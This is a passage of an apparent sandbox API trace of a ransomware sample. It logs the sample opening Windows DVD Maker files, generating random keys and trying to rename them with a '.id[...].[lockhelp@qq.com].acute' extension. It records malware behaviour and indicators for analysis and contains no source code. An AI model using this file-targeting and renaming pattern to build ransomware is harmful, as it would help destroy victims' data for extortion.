Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.414] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4955) returned 1 [0274.414] CloseHandle (hObject=0x37c) returned 1 [0274.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png")) returned 0x20 [0274.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.414] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.493] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3081) returned 1 [0274.493] CloseHandle (hObject=0x37c) returned 1 [0274.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png")) returned 0x20 [0274.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.493] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.493] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1901316) returned 1 [0274.493] CloseHandle (hObject=0x37c) returned 1 [0274.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv")) returned 0x20 [0274.493] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0274.493] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv")) returned 0 [0274.493] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.511] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=709220) returned 1 [0274.511] CloseHandle (hObject=0x30c) returned 1 [0274.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv")) returned 0x20 [0274.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_notes.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_notes.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.511] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.511] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=629220) returned 1 [0274.511] CloseHandle (hObject=0x30c) returned 1 [0274.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv")) returned 0x20 [0274.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\title_trans_scene.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.511] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.512] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=661220) returned 1 [0274.512] CloseHandle (hObject=0x30c) returned 1 [0274.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv")) returned 0x20 [0274.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Trans_Scene_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_trans_scene_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.512] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.512] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=6716) returned 1 [0274.512] CloseHandle (hObject=0x30c) returned 1 [0274.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png")) returned 0x20 [0274.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.512] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.513] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=12008) returned 1 [0274.513] CloseHandle (hObject=0x30c) returned 1 [0274.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png")) returned 0x20 [0274.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.513] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.514] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=237226) returned 1 [0274.514] CloseHandle (hObject=0x30c) returned 1 [0274.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv")) returned 0x20 [0274.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.514] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.515] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=253220) returned 1 [0274.515] CloseHandle (hObject=0x30c) returned 1 [0274.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv")) returned 0x20 [0274.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.515] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.516] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=789322) returned 1 [0274.516] CloseHandle (hObject=0x30c) returned 1 [0274.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv")) returned 0x20 [0274.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.516] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.516] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=869322) returned 1 [0274.516] CloseHandle (hObject=0x30c) returned 1 [0274.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv")) returned 0x20 [0274.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.516] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.517] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3016) returned 1 [0274.517] CloseHandle (hObject=0x30c) returned 1 [0274.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png")) returned 0x20 [0274.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.517] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.518] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1849) returned 1 [0274.518] CloseHandle (hObject=0x30c) returned 1 [0274.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0274.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.518] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.518] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3016) returned 1 [0274.518] CloseHandle (hObject=0x30c) returned 1 [0274.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0274.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.518] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.518] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2041) returned 1 [0274.518] CloseHandle (hObject=0x30c) returned 1 [0274.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0274.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 